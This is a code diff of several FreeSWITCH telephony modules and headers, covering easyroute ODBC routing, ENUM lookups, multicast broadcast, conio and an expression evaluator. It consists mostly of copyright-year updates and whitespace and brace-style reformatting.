SWITCH_ADD_APP(app_interface, "session_loglevel", "session_loglevel", "session_loglevel", session_loglevel_function, SESSION_LOGLEVEL_SYNTAX,
|
||||
SAF_SUPPORT_NOMEDIA);
|
||||
|
||||
SWITCH_ADD_DIALPLAN(dp_interface, "inline", inline_dialplan_hunt);
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -38,22 +38,22 @@
|
||||
|
||||
#include <switch.h>
|
||||
|
||||
typedef struct easyroute_results{
|
||||
char limit[16];
|
||||
char dialstring[256];
|
||||
char group[16];
|
||||
char acctcode[17];
|
||||
char translated[17];
|
||||
typedef struct easyroute_results {
|
||||
char limit[16];
|
||||
char dialstring[256];
|
||||
char group[16];
|
||||
char acctcode[17];
|
||||
char translated[17];
|
||||
} easyroute_results_t;
|
||||
|
||||
|
||||
typedef struct route_callback {
|
||||
char gateway[129];
|
||||
char group[129];
|
||||
char techprofile[129];
|
||||
char limit[129];
|
||||
char acctcode[129];
|
||||
char translated[17];
|
||||
char gateway[129];
|
||||
char group[129];
|
||||
char techprofile[129];
|
||||
char limit[129];
|
||||
char acctcode[129];
|
||||
char translated[17];
|
||||
} route_callback_t;
|
||||
|
||||
static struct {
|
||||
@@ -97,13 +97,13 @@ static switch_status_t load_config(void)
|
||||
char *cf = "easyroute.conf";
|
||||
switch_xml_t cfg, xml = NULL, param, settings;
|
||||
switch_status_t status = SWITCH_STATUS_SUCCESS;
|
||||
|
||||
|
||||
if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "open of %s failed\n", cf);
|
||||
status = SWITCH_STATUS_FALSE;
|
||||
goto done;
|
||||
}
|
||||
|
||||
|
||||
if ((settings = switch_xml_child(cfg, "settings"))) {
|
||||
for (param = switch_xml_child(settings, "param"); param; param = param->next) {
|
||||
char *var = (char *) switch_xml_attr_soft(param, "name");
|
||||
@@ -123,8 +123,8 @@ static switch_status_t load_config(void)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
done:
|
||||
|
||||
done:
|
||||
if (zstr(globals.db_username)) {
|
||||
set_global_db_username("root");
|
||||
}
|
||||
@@ -151,7 +151,7 @@ static switch_status_t load_config(void)
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Opened ODBC Database!\n");
|
||||
}
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Connected ODBC DSN: %s\n", globals.db_dsn);
|
||||
if (!globals.custom_query){
|
||||
if (!globals.custom_query) {
|
||||
if (switch_odbc_handle_exec(globals.master_odbc, "select count(*) from numbers", NULL, NULL) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot find SQL Database! (Where\'s the numbers table\?\?)\n");
|
||||
}
|
||||
@@ -163,7 +163,7 @@ static switch_status_t load_config(void)
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot Open ODBC Connection (did you enable it?!)\n");
|
||||
}
|
||||
|
||||
reallydone:
|
||||
reallydone:
|
||||
|
||||
if (xml) {
|
||||
switch_xml_free(xml);
|
||||
@@ -177,76 +177,77 @@ static switch_status_t load_config(void)
|
||||
return status;
|
||||
}
|
||||
|
||||
static char SQL_LOOKUP[] = "SELECT gateways.gateway_ip, gateways.group, gateways.limit, gateways.techprofile, numbers.acctcode, numbers.translated from gateways, numbers where numbers.number = '%q' and numbers.gateway_id = gateways.gateway_id limit 1;";
|
||||
static char SQL_LOOKUP[] =
|
||||
"SELECT gateways.gateway_ip, gateways.group, gateways.limit, gateways.techprofile, numbers.acctcode, numbers.translated from gateways, numbers where numbers.number = '%q' and numbers.gateway_id = gateways.gateway_id limit 1;";
|
||||
|
||||
static switch_status_t route_lookup(char *dn, easyroute_results_t *results, int noat, char *separator)
|
||||
{
|
||||
{
|
||||
switch_status_t sstatus = SWITCH_STATUS_SUCCESS;
|
||||
char *sql = NULL;
|
||||
route_callback_t pdata;
|
||||
|
||||
if (!switch_odbc_available()) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT,
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT,
|
||||
"mod_easyroute requires core ODBC support. Please refer to the documentation on how to enable this\n");
|
||||
return sstatus;
|
||||
}
|
||||
|
||||
memset(&pdata, 0, sizeof(pdata));
|
||||
if (!globals.custom_query){
|
||||
if (!globals.custom_query) {
|
||||
sql = switch_mprintf(SQL_LOOKUP, dn);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Doing static Query\n[%s]\n", sql);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Doing static Query\n[%s]\n", sql);
|
||||
} else {
|
||||
sql = switch_mprintf(globals.custom_query, dn);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Doing custom Query\n[%s]\n", sql);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Doing custom Query\n[%s]\n", sql);
|
||||
}
|
||||
|
||||
if (globals.mutex){
|
||||
if (globals.mutex) {
|
||||
switch_mutex_lock(globals.mutex);
|
||||
}
|
||||
/* Do the Query */
|
||||
if (switch_odbc_handle_callback_exec(globals.master_odbc, sql, route_callback, &pdata, NULL) == SWITCH_ODBC_SUCCESS){
|
||||
if (switch_odbc_handle_callback_exec(globals.master_odbc, sql, route_callback, &pdata, NULL) == SWITCH_ODBC_SUCCESS) {
|
||||
char tmp_profile[129];
|
||||
char tmp_gateway[129];
|
||||
|
||||
if (zstr(pdata.limit)) {
|
||||
switch_set_string(results->limit, "9999" );
|
||||
switch_set_string(results->limit, "9999");
|
||||
} else {
|
||||
switch_set_string(results->limit, pdata.limit );
|
||||
switch_set_string(results->limit, pdata.limit);
|
||||
}
|
||||
|
||||
if (zstr(pdata.techprofile)){
|
||||
if (zstr(pdata.techprofile)) {
|
||||
switch_set_string(tmp_profile, globals.default_techprofile);
|
||||
} else {
|
||||
switch_set_string(tmp_profile, pdata.techprofile);
|
||||
}
|
||||
|
||||
if (zstr(pdata.gateway)){
|
||||
if (zstr(pdata.gateway)) {
|
||||
switch_set_string(tmp_gateway, globals.default_gateway);
|
||||
} else {
|
||||
switch_set_string(tmp_gateway, pdata.gateway);
|
||||
}
|
||||
|
||||
if (zstr(pdata.translated)){
|
||||
if (zstr(pdata.translated)) {
|
||||
switch_set_string(results->translated, dn);
|
||||
} else {
|
||||
switch_set_string(results->translated, pdata.translated);
|
||||
}
|
||||
if (noat) {
|
||||
switch_snprintf(results->dialstring, 256, "%s/%s%s", tmp_profile , results->translated, tmp_gateway);
|
||||
switch_snprintf(results->dialstring, 256, "%s/%s%s", tmp_profile, results->translated, tmp_gateway);
|
||||
} else if (separator) {
|
||||
switch_snprintf(results->dialstring, 256, "%s/%s%s%s", tmp_profile , results->translated, separator, tmp_gateway);
|
||||
switch_snprintf(results->dialstring, 256, "%s/%s%s%s", tmp_profile, results->translated, separator, tmp_gateway);
|
||||
} else {
|
||||
switch_snprintf(results->dialstring, 256, "%s/%s@%s", tmp_profile , results->translated, tmp_gateway);
|
||||
switch_snprintf(results->dialstring, 256, "%s/%s@%s", tmp_profile, results->translated, tmp_gateway);
|
||||
}
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "THE ROUTE [%s]\n", results->dialstring);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "THE ROUTE [%s]\n", results->dialstring);
|
||||
|
||||
if (zstr(pdata.group)){
|
||||
if (zstr(pdata.group)) {
|
||||
switch_set_string(results->group, "");
|
||||
} else {
|
||||
switch_set_string(results->group, pdata.group);
|
||||
}
|
||||
|
||||
if (zstr(pdata.acctcode)){
|
||||
if (zstr(pdata.acctcode)) {
|
||||
switch_set_string(results->acctcode, "");
|
||||
} else {
|
||||
switch_set_string(results->acctcode, pdata.acctcode);
|
||||
@@ -254,11 +255,11 @@ static switch_status_t route_lookup(char *dn, easyroute_results_t *results, int
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "DB Error Setting Default Route!\n");
|
||||
switch_set_string(results->limit, "9999");
|
||||
if (noat){
|
||||
if (noat) {
|
||||
switch_snprintf(results->dialstring, 256, "%s/%s%s", globals.default_techprofile, dn, globals.default_gateway);
|
||||
} else if (separator){
|
||||
} else if (separator) {
|
||||
switch_snprintf(results->dialstring, 256, "%s/%s%s%s", globals.default_techprofile, dn, separator, globals.default_gateway);
|
||||
} else {
|
||||
} else {
|
||||
switch_snprintf(results->dialstring, 256, "%s/%s@%s", globals.default_techprofile, dn, globals.default_gateway);
|
||||
}
|
||||
switch_set_string(results->group, "");
|
||||
@@ -267,7 +268,7 @@ static switch_status_t route_lookup(char *dn, easyroute_results_t *results, int
|
||||
|
||||
switch_safe_free(sql);
|
||||
|
||||
if (globals.mutex){
|
||||
if (globals.mutex) {
|
||||
switch_mutex_unlock(globals.mutex);
|
||||
}
|
||||
return sstatus;
|
||||
@@ -278,7 +279,7 @@ SWITCH_STANDARD_APP(easyroute_app_function)
|
||||
int argc = 0;
|
||||
char *argv[4] = { 0 };
|
||||
char *mydata = NULL;
|
||||
char *destnum = NULL;
|
||||
char *destnum = NULL;
|
||||
|
||||
int noat = 0;
|
||||
char *separator = NULL;
|
||||
@@ -289,18 +290,18 @@ SWITCH_STANDARD_APP(easyroute_app_function)
|
||||
if (!channel) {
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
if (!(mydata = switch_core_session_strdup(session, data))) {
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
|
||||
destnum = argv[0];
|
||||
if (argc == 2) {
|
||||
if (!strcasecmp(argv[1], "noat")) {
|
||||
noat = 1;
|
||||
} else if (!strcasecmp(argv[1], "separator")) {
|
||||
if (argc == 3){
|
||||
if (argc == 3) {
|
||||
switch_set_string(separator, argv[2]);
|
||||
}
|
||||
}
|
||||
@@ -325,7 +326,7 @@ SWITCH_STANDARD_API(easyroute_function)
|
||||
int noat = 0;
|
||||
easyroute_results_t results;
|
||||
switch_status_t status = SWITCH_STATUS_SUCCESS;
|
||||
|
||||
|
||||
if (session) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "This function cannot be called from the dialplan.\n");
|
||||
status = SWITCH_STATUS_FALSE;
|
||||
@@ -337,39 +338,40 @@ SWITCH_STANDARD_API(easyroute_function)
|
||||
status = SWITCH_STATUS_SUCCESS;
|
||||
goto done;
|
||||
}
|
||||
|
||||
|
||||
if (!cmd || !(mydata = strdup(cmd))) {
|
||||
stream->write_function(stream, "Usage: easyroute <number>\n");
|
||||
status = SWITCH_STATUS_SUCCESS;
|
||||
goto done;
|
||||
}
|
||||
|
||||
|
||||
if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
|
||||
destnum = argv[0];
|
||||
if (argc < 1 || argc > 3){
|
||||
if (argc < 1 || argc > 3) {
|
||||
stream->write_function(stream, "Invalid Input!\n");
|
||||
status = SWITCH_STATUS_SUCCESS;
|
||||
goto done;
|
||||
}
|
||||
}
|
||||
if (argc == 2) {
|
||||
if (!strcasecmp(argv[1], "noat")) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Entering noat.\n");
|
||||
noat = 1;
|
||||
} else if (!strcasecmp(argv[1], "separator")) {
|
||||
if (argc == 3){
|
||||
if (argc == 3) {
|
||||
switch_set_string(separator, argv[2]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (!route_lookup(destnum, &results, noat, separator) == SWITCH_STATUS_SUCCESS) {
|
||||
stream->write_function(stream, "No Match!\n");
|
||||
status = SWITCH_STATUS_SUCCESS;
|
||||
goto done;
|
||||
}
|
||||
if (argc != 2){
|
||||
if (argc != 2) {
|
||||
stream->write_function(stream, "Number \tLimit \tGroup \tAcctCode \tDialstring\n");
|
||||
stream->write_function(stream, "%-10s\t%-10s\t%-10s\t%-10s\t%s\n", destnum, results.limit, results.group, results.acctcode, results.dialstring);
|
||||
stream->write_function(stream, "%-10s\t%-10s\t%-10s\t%-10s\t%s\n", destnum, results.limit, results.group, results.acctcode,
|
||||
results.dialstring);
|
||||
} else {
|
||||
if (!strncasecmp(argv[1], "dialstring", 10)) {
|
||||
stream->write_function(stream, "%s", results.dialstring);
|
||||
@@ -386,12 +388,12 @@ SWITCH_STANDARD_API(easyroute_function)
|
||||
status = SWITCH_STATUS_SUCCESS;
|
||||
goto done;
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
stream->write_function(stream, "Invalid Input!\n");
|
||||
}
|
||||
|
||||
done:
|
||||
|
||||
done:
|
||||
switch_safe_free(mydata);
|
||||
return status;
|
||||
}
|
||||
@@ -400,21 +402,22 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_easyroute_load)
|
||||
{
|
||||
switch_api_interface_t *api_interface;
|
||||
switch_application_interface_t *app_interface;
|
||||
|
||||
|
||||
memset(&globals, 0, sizeof(globals));
|
||||
load_config();
|
||||
|
||||
|
||||
/* connect my internal structure to the blank pointer passed to me */
|
||||
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
|
||||
SWITCH_ADD_API(api_interface, "easyroute", "EasyRoute", easyroute_function, "");
|
||||
SWITCH_ADD_APP(app_interface, "easyroute", "Perform an easyroute lookup", "Perform an easyroute lookup", easyroute_app_function, "<number>", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
|
||||
|
||||
SWITCH_ADD_APP(app_interface, "easyroute", "Perform an easyroute lookup", "Perform an easyroute lookup", easyroute_app_function, "<number>",
|
||||
SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
|
||||
|
||||
/* indicate that the module should continue to be loaded */
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_easyroute_shutdown)
|
||||
{
|
||||
{
|
||||
switch_odbc_handle_disconnect(globals.master_odbc);
|
||||
switch_safe_free(globals.db_username);
|
||||
switch_safe_free(globals.db_password);
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -251,7 +251,7 @@ static void add_result(enum_query_t *q, int order, int preference, char *service
|
||||
}
|
||||
}
|
||||
|
||||
static void free_results(enum_record_t **results)
|
||||
static void free_results(enum_record_t ** results)
|
||||
{
|
||||
enum_record_t *fp, *rp;
|
||||
|
||||
@@ -447,7 +447,7 @@ static void dnscb(struct dns_ctx *ctx, void *result, void *data)
|
||||
free(result);
|
||||
}
|
||||
|
||||
static switch_status_t enum_lookup(char *root, char *in, enum_record_t **results)
|
||||
static switch_status_t enum_lookup(char *root, char *in, enum_record_t ** results)
|
||||
{
|
||||
switch_status_t sstatus = SWITCH_STATUS_SUCCESS;
|
||||
char *name = NULL;
|
||||
@@ -829,7 +829,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_enum_load)
|
||||
|
||||
memset(&globals, 0, sizeof(globals));
|
||||
do_load();
|
||||
|
||||
|
||||
/* connect my internal structure to the blank pointer passed to me */
|
||||
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
|
||||
SWITCH_ADD_API(api_interface, "enum", "ENUM", enum_function, "");
|
||||
@@ -850,7 +850,7 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_enum_shutdown)
|
||||
if (globals.pool) {
|
||||
switch_core_destroy_memory_pool(&globals.pool);
|
||||
}
|
||||
|
||||
|
||||
switch_safe_free(globals.root);
|
||||
switch_safe_free(globals.isn_root);
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -78,10 +78,10 @@ SWITCH_STANDARD_APP(bcast_function)
|
||||
switch_port_t mcast_control_port = 6061;
|
||||
char *mcast_port_str = "34567";
|
||||
const char *esf_broadcast_ip = NULL, *var;
|
||||
switch_codec_implementation_t read_impl = {0};
|
||||
switch_codec_implementation_t read_impl = { 0 };
|
||||
int mcast_ttl = 1;
|
||||
|
||||
switch_core_session_get_read_impl(session, &read_impl);
|
||||
switch_core_session_get_read_impl(session, &read_impl);
|
||||
|
||||
if (!zstr((char *) data)) {
|
||||
mydata = switch_core_session_strdup(session, data);
|
||||
@@ -105,7 +105,7 @@ SWITCH_STANDARD_APP(bcast_function)
|
||||
if (!zstr(argv[2])) {
|
||||
mcast_control_port = (switch_port_t) atoi(argv[2]);
|
||||
}
|
||||
|
||||
|
||||
if (!zstr(argv[3])) {
|
||||
mcast_ttl = atoi(argv[3]);
|
||||
if (mcast_ttl < 1 || mcast_ttl > 255) {
|
||||
@@ -136,7 +136,7 @@ SWITCH_STANDARD_APP(bcast_function)
|
||||
goto fail;
|
||||
}
|
||||
|
||||
if (switch_mcast_hops(socket, (uint8_t)mcast_ttl) != SWITCH_STATUS_SUCCESS) {
|
||||
if (switch_mcast_hops(socket, (uint8_t) mcast_ttl) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Mutlicast TTL set failed\n");
|
||||
goto fail;
|
||||
}
|
||||
@@ -201,8 +201,7 @@ SWITCH_STANDARD_APP(bcast_function)
|
||||
mcast_port,
|
||||
read_impl.ianacode,
|
||||
read_impl.samples_per_packet,
|
||||
read_impl.microseconds_per_packet,
|
||||
(switch_rtp_flag_t) flags, "soft", &err, switch_core_session_get_pool(session));
|
||||
read_impl.microseconds_per_packet, (switch_rtp_flag_t) flags, "soft", &err, switch_core_session_get_pool(session));
|
||||
|
||||
if (!switch_rtp_ready(rtp_session)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "RTP Error\n");
|
||||
|
||||
@@ -20,25 +20,24 @@ extern "C" {
|
||||
|
||||
#define BLINK 0
|
||||
|
||||
typedef enum
|
||||
{
|
||||
BLACK,
|
||||
BLUE,
|
||||
GREEN,
|
||||
CYAN,
|
||||
RED,
|
||||
MAGENTA,
|
||||
BROWN,
|
||||
LIGHTGRAY,
|
||||
DARKGRAY,
|
||||
LIGHTBLUE,
|
||||
LIGHTGREEN,
|
||||
LIGHTCYAN,
|
||||
LIGHTRED,
|
||||
LIGHTMAGENTA,
|
||||
YELLOW,
|
||||
WHITE
|
||||
} COLORS;
|
||||
typedef enum {
|
||||
BLACK,
|
||||
BLUE,
|
||||
GREEN,
|
||||
CYAN,
|
||||
RED,
|
||||
MAGENTA,
|
||||
BROWN,
|
||||
LIGHTGRAY,
|
||||
DARKGRAY,
|
||||
LIGHTBLUE,
|
||||
LIGHTGREEN,
|
||||
LIGHTCYAN,
|
||||
LIGHTRED,
|
||||
LIGHTMAGENTA,
|
||||
YELLOW,
|
||||
WHITE
|
||||
} COLORS;
|
||||
|
||||
|
||||
#define cgets _cgets
|
||||
@@ -49,17 +48,16 @@ typedef enum
|
||||
|
||||
/* blinkvideo */
|
||||
|
||||
void clreol (void);
|
||||
void clrscr (void);
|
||||
void clreol(void);
|
||||
void clrscr(void);
|
||||
|
||||
int _conio_gettext (int left, int top, int right, int bottom,
|
||||
char *str);
|
||||
int _conio_gettext(int left, int top, int right, int bottom, char *str);
|
||||
/* _conio_kbhit */
|
||||
|
||||
void delline (void);
|
||||
void delline(void);
|
||||
|
||||
/* gettextinfo */
|
||||
void gotoxy(int x, int y);
|
||||
void gotoxy(int x, int y);
|
||||
/*
|
||||
highvideo
|
||||
insline
|
||||
@@ -69,9 +67,9 @@ movetext
|
||||
normvideo
|
||||
*/
|
||||
|
||||
void gotoxy(int x, int y);
|
||||
void gotoxy(int x, int y);
|
||||
|
||||
void puttext (int left, int top, int right, int bottom, char *str);
|
||||
void puttext(int left, int top, int right, int bottom, char *str);
|
||||
|
||||
// Screen Variables
|
||||
|
||||
@@ -89,19 +87,19 @@ ScreenUpdateLine
|
||||
ScreenVisualBell
|
||||
_set_screen_lines */
|
||||
|
||||
void _setcursortype (int type);
|
||||
void _setcursortype(int type);
|
||||
|
||||
void textattr (int _attr);
|
||||
void textattr(int _attr);
|
||||
|
||||
void textbackground (int color);
|
||||
void textbackground(int color);
|
||||
|
||||
void textcolor (int color);
|
||||
void textcolor(int color);
|
||||
|
||||
/* textmode */
|
||||
|
||||
int wherex (void);
|
||||
int wherex(void);
|
||||
|
||||
int wherey (void);
|
||||
int wherey(void);
|
||||
|
||||
/* window */
|
||||
|
||||
@@ -135,27 +133,26 @@ int wherey (void);
|
||||
*
|
||||
*/
|
||||
|
||||
char* _cgets (char*);
|
||||
int _cprintf (const char*, ...);
|
||||
int _cputs (const char*);
|
||||
int _cscanf (char*, ...);
|
||||
char *_cgets(char *);
|
||||
int _cprintf(const char *, ...);
|
||||
int _cputs(const char *);
|
||||
int _cscanf(char *, ...);
|
||||
|
||||
int _getch (void);
|
||||
int _getche (void);
|
||||
int _kbhit (void);
|
||||
int _putch (int);
|
||||
int _ungetch (int);
|
||||
int _getch(void);
|
||||
int _getche(void);
|
||||
int _kbhit(void);
|
||||
int _putch(int);
|
||||
int _ungetch(int);
|
||||
|
||||
|
||||
int getch (void);
|
||||
int getche (void);
|
||||
int kbhit (void);
|
||||
int putch (int);
|
||||
int ungetch (int);
|
||||
int getch(void);
|
||||
int getche(void);
|
||||
int kbhit(void);
|
||||
int putch(int);
|
||||
int ungetch(int);
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* _CONIO_H_ */
|
||||
#endif /* _CONIO_H_ */
|
||||
@@ -19,7 +19,7 @@ extern "C" {
|
||||
|
||||
|
||||
/* Define type of data to use */
|
||||
typedef double EXPRTYPE;
|
||||
typedef double EXPRTYPE;
|
||||
|
||||
/* Defines for various things */
|
||||
|
||||
@@ -27,101 +27,96 @@ typedef double EXPRTYPE;
|
||||
#define EXPR_MAXIDENTSIZE 255
|
||||
|
||||
/* Error values */
|
||||
enum
|
||||
{
|
||||
EXPR_ERROR_UNKNOWN = -1, /* Unknown error */
|
||||
EXPR_ERROR_NOERROR = 0, /* No Error */
|
||||
EXPR_ERROR_MEMORY, /* Memory allocation failed */
|
||||
EXPR_ERROR_NULLPOINTER, /* Null pointer passed to function */
|
||||
EXPR_ERROR_NOTFOUND, /* Item not found in a list */
|
||||
EXPR_ERROR_UNMATCHEDCOMMENT, /* Unmatched comment tags */
|
||||
EXPR_ERROR_INVALIDCHAR, /* Invalid characters in expression */
|
||||
EXPR_ERROR_ALREADYEXISTS, /* An item already called create */
|
||||
EXPR_ERROR_ALREADYPARSEDBAD, /* Expression parsed already, but unsuccessfully. call free or clear */
|
||||
EXPR_ERROR_ALREADYPARSEDGOOD, /* Expression parsed already, successfully, call free or clear */
|
||||
EXPR_ERROR_EMPTYEXPR, /* Empty expression string passed to parse */
|
||||
EXPR_ERROR_UNMATCHEDPAREN, /* Unmatched parenthesis */
|
||||
EXPR_ERROR_SYNTAX, /* Syntax error in expression */
|
||||
EXPR_ERROR_MISSINGSEMICOLON, /* Missing semicolon at end of expression */
|
||||
EXPR_ERROR_BADIDENTIFIER, /* Identifier was to big or not formed right */
|
||||
EXPR_ERROR_NOSUCHFUNCTION, /* Function does not exist in function list */
|
||||
EXPR_ERROR_BADNUMBERARGUMENTS, /* Bad number of arguments in a function call */
|
||||
EXPR_ERROR_BADEXPR, /* This is a bad expression to evaluate. It has not been parsed or has unsuccessfully */
|
||||
EXPR_ERROR_UNABLETOASSIGN, /* Unable to do an assignment, maybe no variable list */
|
||||
EXPR_ERROR_DIVBYZERO, /* Attempted a division by zero */
|
||||
EXPR_ERROR_NOVARLIST, /* No variable list found but one is needed */
|
||||
EXPR_ERROR_BREAK, /* Expression was broken by break function */
|
||||
EXPR_ERROR_CONSTANTASSIGN, /* Assignment to a constant */
|
||||
EXPR_ERROR_REFCONSTANT, /* Constant used as a reference parameter */
|
||||
EXPR_ERROR_OUTOFRANGE, /* A bad value was passed to a function */
|
||||
enum {
|
||||
EXPR_ERROR_UNKNOWN = -1, /* Unknown error */
|
||||
EXPR_ERROR_NOERROR = 0, /* No Error */
|
||||
EXPR_ERROR_MEMORY, /* Memory allocation failed */
|
||||
EXPR_ERROR_NULLPOINTER, /* Null pointer passed to function */
|
||||
EXPR_ERROR_NOTFOUND, /* Item not found in a list */
|
||||
EXPR_ERROR_UNMATCHEDCOMMENT, /* Unmatched comment tags */
|
||||
EXPR_ERROR_INVALIDCHAR, /* Invalid characters in expression */
|
||||
EXPR_ERROR_ALREADYEXISTS, /* An item already called create */
|
||||
EXPR_ERROR_ALREADYPARSEDBAD, /* Expression parsed already, but unsuccessfully. call free or clear */
|
||||
EXPR_ERROR_ALREADYPARSEDGOOD, /* Expression parsed already, successfully, call free or clear */
|
||||
EXPR_ERROR_EMPTYEXPR, /* Empty expression string passed to parse */
|
||||
EXPR_ERROR_UNMATCHEDPAREN, /* Unmatched parenthesis */
|
||||
EXPR_ERROR_SYNTAX, /* Syntax error in expression */
|
||||
EXPR_ERROR_MISSINGSEMICOLON, /* Missing semicolon at end of expression */
|
||||
EXPR_ERROR_BADIDENTIFIER, /* Identifier was to big or not formed right */
|
||||
EXPR_ERROR_NOSUCHFUNCTION, /* Function does not exist in function list */
|
||||
EXPR_ERROR_BADNUMBERARGUMENTS, /* Bad number of arguments in a function call */
|
||||
EXPR_ERROR_BADEXPR, /* This is a bad expression to evaluate. It has not been parsed or has unsuccessfully */
|
||||
EXPR_ERROR_UNABLETOASSIGN, /* Unable to do an assignment, maybe no variable list */
|
||||
EXPR_ERROR_DIVBYZERO, /* Attempted a division by zero */
|
||||
EXPR_ERROR_NOVARLIST, /* No variable list found but one is needed */
|
||||
EXPR_ERROR_BREAK, /* Expression was broken by break function */
|
||||
EXPR_ERROR_CONSTANTASSIGN, /* Assignment to a constant */
|
||||
EXPR_ERROR_REFCONSTANT, /* Constant used as a reference parameter */
|
||||
EXPR_ERROR_OUTOFRANGE, /* A bad value was passed to a function */
|
||||
|
||||
EXPR_ERROR_USER /* Custom errors should be larger than this */
|
||||
};
|
||||
EXPR_ERROR_USER /* Custom errors should be larger than this */
|
||||
};
|
||||
|
||||
/* Macros */
|
||||
|
||||
/* Forward declarations */
|
||||
typedef struct _exprNode exprNode;
|
||||
typedef struct _exprFuncList exprFuncList;
|
||||
typedef struct _exprValList exprValList;
|
||||
typedef struct _exprObj exprObj;
|
||||
typedef struct _exprNode exprNode;
|
||||
typedef struct _exprFuncList exprFuncList;
|
||||
typedef struct _exprValList exprValList;
|
||||
typedef struct _exprObj exprObj;
|
||||
|
||||
/* Function types */
|
||||
typedef int (*exprFuncType)(exprObj *obj, exprNode *nodes, int nodecount, EXPRTYPE **refs, int refcount, EXPRTYPE *val);
|
||||
typedef int (*exprBreakFuncType)(exprObj *obj);
|
||||
typedef int (*exprFuncType) (exprObj * obj, exprNode * nodes, int nodecount, EXPRTYPE ** refs, int refcount, EXPRTYPE * val);
|
||||
typedef int (*exprBreakFuncType) (exprObj * obj);
|
||||
|
||||
|
||||
|
||||
/* Functions */
|
||||
|
||||
/* Version information function */
|
||||
void exprGetVersion(int *major, int *minor);
|
||||
void exprGetVersion(int *major, int *minor);
|
||||
|
||||
/* Functions for function lists */
|
||||
int exprFuncListCreate(exprFuncList **flist);
|
||||
int exprFuncListAdd(exprFuncList *flist, char *name, exprFuncType ptr, int min, int max, int refmin, int refmax);
|
||||
int exprFuncListFree(exprFuncList *flist);
|
||||
int exprFuncListClear(exprFuncList *flist);
|
||||
int exprFuncListInit(exprFuncList *flist);
|
||||
int exprFuncListCreate(exprFuncList ** flist);
|
||||
int exprFuncListAdd(exprFuncList * flist, char *name, exprFuncType ptr, int min, int max, int refmin, int refmax);
|
||||
int exprFuncListFree(exprFuncList * flist);
|
||||
int exprFuncListClear(exprFuncList * flist);
|
||||
int exprFuncListInit(exprFuncList * flist);
|
||||
|
||||
/* Functions for value lists */
|
||||
int exprValListCreate(exprValList **vlist);
|
||||
int exprValListAdd(exprValList *vlist, char *name, EXPRTYPE val);
|
||||
int exprValListSet(exprValList *vlist, char *name, EXPRTYPE val);
|
||||
int exprValListGet(exprValList *vlist, char *name, EXPRTYPE *val);
|
||||
int exprValListAddAddress(exprValList *vlist, char *name, EXPRTYPE *addr);
|
||||
int exprValListGetAddress(exprValList *vlist, char *name, EXPRTYPE **addr);
|
||||
